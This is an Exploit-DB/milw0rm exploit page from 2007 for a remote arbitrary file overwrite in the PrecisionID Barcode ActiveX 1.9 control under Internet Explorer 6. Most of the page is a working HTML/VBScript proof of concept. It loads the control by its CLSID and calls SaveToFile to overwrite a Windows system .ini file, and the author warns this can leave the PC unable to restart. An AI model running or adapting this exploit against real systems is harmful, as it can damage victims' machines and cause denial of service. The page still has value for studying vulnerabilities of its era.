PrecisionID Barcode ActiveX 1.9 - Arbitrary File Overwrite

EDB-ID:

3938

Author:

shinnai

Type:

remote

Platform:

Windows

Published:

2007-05-16

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/16</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------
 <b>IE 6 PrecisionID Barcode ActiveX 1.9 0day (PrecisionID_Barcode.dll) Remote Arbitrary File Overwrite</b>
 url: http://www.precisionid.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
 all software that use this ocx are vulnerable to these exploits.

 If you try this exploit with IE 7, it just stops to answer
-----------------------------------------------------------------------------------------------------

<object classid='clsid:731766D0-8541-11DB-99C1-0050C2490048' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.SaveToFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/16 - PrecisionID Barcode ActiveX")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-16]